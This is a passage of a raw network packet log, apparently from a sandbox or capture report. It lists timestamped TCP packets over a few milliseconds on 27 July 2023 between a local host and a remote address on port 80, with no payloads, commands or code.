Jul 27, 2023 18:26:45.903433084 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903464079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903496027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903527021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903529882 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.903557062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903557062 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.903587103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.903609991 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.903618097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904195070 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904228926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904272079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904289007 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.904304981 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904318094 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.904350996 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904373884 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904393911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904424906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.904459953 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.904505968 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.905092955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905123949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905153036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905184984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905217886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905225039 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.905246973 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905252934 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.905277967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905308962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905334949 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.905359983 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.905929089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905960083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.905989885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906021118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906050920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906056881 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.906083107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906084061 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.906125069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906157017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906193972 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.906217098 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.906920910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906955004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.906989098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907021046 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907032967 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907053947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907087088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907089949 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907119036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907151937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907176971 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907183886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907218933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907219887 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907826900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907872915 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907905102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.907908916 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907933950 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.907936096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.910522938 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.920603991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.920689106 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.920725107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.920782089 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.923929930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.923974991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924017906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924030066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924060106 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924102068 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924105883 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924144983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924160957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924187899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924233913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924276114 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924297094 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924339056 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924374104 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924381971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924423933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924465895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924500942 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924509048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924542904 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924551010 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924592018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924635887 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924662113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924698114 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924721956 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924741030 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924782038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924796104 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924823999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924864054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924892902 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.924906969 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.924968004 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925003052 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925046921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925090075 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925132036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925157070 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925177097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925220966 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925235033 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925266981 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925299883 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925313950 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925355911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925373077 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925399065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925442934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925483942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925504923 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925529003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925545931 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925607920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925652027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925695896 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925709963 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925739050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925781012 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925782919 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925825119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925868988 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925885916 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925913095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.925925970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.925956011 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926000118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926057100 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926099062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926141977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926151991 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926184893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926230907 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926253080 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926273108 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926316977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926337957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926373005 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926418066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926439047 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926466942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926513910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926526070 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926559925 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926606894 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926615000 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926655054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926702976 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926723003 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926752090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926800013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926836967 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926847935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926896095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926918030 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.926942110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.926987886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927035093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927045107 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927082062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927092075 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927185059 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927233934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927256107 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927279949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927326918 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927356958 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927372932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927419901 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927434921 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927468061 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927515984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927552938 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927562952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927608013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927655935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927702904 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927717924 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927717924 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927748919 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927795887 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927813053 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927840948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927890062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927937984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.927967072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.927982092 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928005934 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928029060 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928073883 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928121090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928138971 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928168058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928185940 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928282022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928333044 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928379059 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928402901 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928426027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928455114 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928472042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928518057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928564072 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928601027 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928611994 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928646088 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928659916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928706884 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928754091 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928770065 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928798914 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928823948 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928847075 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928893089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928937912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.928961992 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.928985119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929016113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929030895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929078102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929125071 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929148912 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929171085 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929189920 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929219007 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929285049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929342031 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929342031 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929368019 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929413080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929457903 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929486036 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929502010 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929518938 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929549932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929595947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929641962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929651976 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929687023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929697990 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929733038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929779053 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929822922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929831982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929867983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929874897 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.929914951 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.929964066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930010080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930018902 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930056095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930063009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930100918 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930146933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930192947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930224895 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930239916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930249929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930289030 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930335045 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930392027 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930435896 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930483103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930486917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930531979 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930577993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930609941 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930622101 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930668116 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930684090 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930712938 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930757999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930804014 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930814028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930847883 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930855036 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.930895090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930938959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.930983067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931001902 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931030035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931042910 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931077003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931123018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931169987 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931183100 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931216002 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931226969 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931265116 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931310892 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931356907 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931375027 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931404114 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931411982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931503057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931551933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931597948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931618929 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931642056 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931644917 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931688070 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931732893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931777954 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931797981 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931822062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931849957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931865931 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931910992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931956053 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.931968927 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.931999922 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932013035 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932056904 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932102919 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932147026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932162046 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932193041 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932204008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:45.932241917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932307005 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:45.932353973 CEST	80	49695	188.114.97.7	192.168.2.4
